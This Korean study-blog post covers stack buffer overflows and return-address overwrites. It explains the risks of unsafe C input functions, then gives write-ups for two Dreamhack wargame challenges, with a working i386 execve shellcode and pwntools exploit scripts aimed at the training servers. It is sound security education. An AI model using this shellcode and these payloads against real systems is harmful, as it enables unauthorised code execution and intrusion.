TIL : Stack buffer overflow, Return address overwrite ✏️
https://dreamhack.io/lecture/courses/60
Stack Buffer Overflow
Stack buffer overflow는 stack의 buffer에서 발생하는 overflow이다.
Buffer overflow란 buffer의 크기보다 큰 크기의 데이터가 buffer에 들어가려 할 때 발상한다. 일반적으로 buffer는 memory 상에서 연속적으로 allocate되어 있으므로 buffer overflow가 발생할 경우 buffer 뒤의 memory들이 corrupt될 수 있다.
Buffer overflow가 일으킬 수 있는 문제들
Buffer overflow로 인해 buffer 외부의 memory에 접근이 가능해지면 아래와 같은 문제가 발생할 수 있다:
- 중요한 variable의 값을 허가되지 않은 방법으로 수정할 수 있다.
- 외부로 유출하면 안되는 data를 유출할 수 있다.
- C에서 string은 NULL byte로 종결되며, standard string output function들은 NULL을 string의 끝으로 인식한다. → Buffer overflow를 통해 NULL byte들을 제거하면, 해당 buffer를 출력시켜 다른 memory 구역의 data를 읽을 수 있다.
- Stack 상의 return address를 수정하여 process의 control flow를 수정할 수 있다. → Return address overwrite 공격
String input functions in C
입력 함수(패턴) | 위험도 | 평가 근거 |
---|---|---|
gets(buf) | 매우 위험 | • 입력받는 길이에 제한이 없음. • Buffer의 NULL termination을 보장하지 않음: 입력의 끝에 NULL를 삽입하므로, buffer를 꽉채우면 NULL로 종결되지 않음. 이후 string 관련 function을 사용할 때 버그가 발생하기 쉬움. |
scanf(“%s”, buf) | 매우 위험 | • 입력받는 길이에 제한이 없음. • Buffer의 NULL termination을 보장하지 않음: gets와 동일. |
scanf(“%[width]s”, buf) | 주의 필요 | • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, overflow가 발생할 수 있음. • Buffer의 NULL termination을 보장하지 않음: gets와 동일. |
fgets(buf, len, stream) | 주의 필요 | • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, overflow가 발생할 수 있음. • Buffer의 NULL termination을 보장함. ◦ len보다 적게 입력하면, 입력의 끝에 NULL byte 삽입. ◦ len만큼 입력하면, 입력의 마지막 byte를 버리고 NULL byte 삽입. • 데이터 유실 주의: Buffer에 담아야 할 data가 30 bytes인데, buffer의 크기와 len을 30으로 작성하면, 29 bytes만 저장되고, 마지막 byte는 유실됨. |
Example Code - rao.c
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
Vulnerability scanning
scanf("%s", buf);
→ scanf
의 %s
는 입력의 길이를 제한하지 않고, 공백 문자가 들어올 때까지 계속 입력을 받는다. → Buffer의 크기보다 큰 data를 입력하면 overflow가 발생할 수 있다.
Stack frame 구조 파악하기
main
의 assembly code를 통해 scanf
에 전달되는 인자를 확인한다. 이를 통해 buffer의 address와 size를 파악한다. → 0x30 bytes임을 알 수 있음
rbp
에 stack frame pointer(SFP) 가 저장되고, rbp+0x8
에 return address가 저장되므로 순서대로 buf가 0x30 bytes, SFP가 0x8 bytes, return address가 0x8 bytes만큼 stack에 존재함을 알 수 있다.
Shellcode
이 문제에서는 get_shell()
이라는 shell을 실행하는 함수가 있으므로 따로 shellcode를 작성할 필요가 없다. gdb
를 활용해 get_shell()
의 주소만 파악하면 된다.
Payload 구성하기
payload는 stack frame의 구조에 맞추어 return address 부분에 원하는 data를 넣을 수 있도록 구성한다. 이 문제의 경우 dummy data를 0x38 bytes만큼 넣고, 그 뒤 0x8 byte에 get_shell()
의 주소를 넣어 payload를 구성하면 된다.
이때 get_shell()
의 주소에 little endian을 적용해야 함에 주의한다.
Exploit
작성한 payload를 rao
에 전달하면 shell을 획득할 수 있다.
Wargame: basic_exploitation_000
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
Vulnerability scanning
앞의 example과 마찬가지로 scanf
함수를 사용하므로 이를 이용해 buffer overflow를 일으킬 수 있다.
문제의 printf("buf = (%p)\n", buf);
부분이 buf
의 주소를 출력해주므로 이를 활용한다.
Stack frame 구조 파악하기
gdb
로 executable을 분석해보면 scanf
의 인자로 rbp - 0x80
이 들어감을 알 수 있다. → Buffer의 size는 0x80
또한 앞의 example과 달리 architecture가 i386-32-little
로 주어져있으므로 SFP와 return address의 크기는 0x4 bytes임을 알 수 있다.
따라서 순서대로 buffer 0x80 bytes, SFP 0x4 bytes, return address 0x4 bytes로 stack frame이 구성된다.
Shellcode
Shellcode는 직접 assembly를 짜고 binary로 변환해도 되고, 미리 알려져 있는 조각을 사용해도 된다. https://hackhijack64.tistory.com/38
scanf
는 공백 문자(띄어쓰기, tab, 등)을 filtering하므로 \x09
, \x0a
, \x0b
, \x0c
, \x0d
, \x20
을 filtering한다. 따라서 이 byte들이 들어있지 않은 shellcode를 사용해야 한다.
이 풀이에서는 26 bytes 짜리 shellcode를 사용했다: \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
Payload 구성하기
payload는 크게 두 가지 방식으로 구성할 수 있다. (큰 차이는 없음) :
- buffer의 address에 바로 shellcode를 넣고, 그 뒷부분은 dummy data로 채우고, return address 부분에 buffer의 address 넣기
- buffer의 address에
nop
를 쭉 나열하고 마지막에 shellcode를 넣고, return address 부분에 buffer의 address 넣기
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 18896)
mc = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
payload = mc
payload += b"\x80"*(0x80-len(mc))
payload += b"\x81"*0x4
payload += p32(buf)
p.sendline(payload)
p.interactive()
recvuntil
을 사용해서 쉽게 출력되는 buffer의 address를 parsing할 수 있다. 또는p.recv(7)
를 미리 한 번 써서 앞 부분을 날려줘도 된다.- Payload를 작성할 때 dummy data 부분과 shellcode 부분의 앞에
b
를 써서 byte string으로 encode해줘야한다는 사실을 몰라 고생을 많이 함. p32(buf)
과 같이 buffer의 주소를 little endian으로 packing해야 한다. 이때 architecture를 고려해서p64
가 아닌p32
를 사용해야 함에 주의하자.
Wargame: basic_exploitation_001
Example code와 거의 동일한 문제이다. read_flag()
의 주소를 buffer overflow를 통해 return address 부분에 넣어주면 된다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
Stack frame 구조 파악하기
마찬가지로 gdb
로 디버깅해보면 buffer 0x80 bytes, SFP 0x4 bytes, return address 0x4 bytes로 stack frame이 구성됨을 알 수 있다.
Shellcode
따로 shellcode를 작성할 필요 없이 read_flag()
를 실행하면 된다. read_flag()
의 주소는 gdb
로 디버깅하여 알아낸다.
Payload 구성하기
위 문제들과 동일하게 구성하면 된다.
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 14218)
payload = b"\x80"*0x84 + p32(0x80485b9)
p.sendline(payload)
p.interactive()
Leave a comment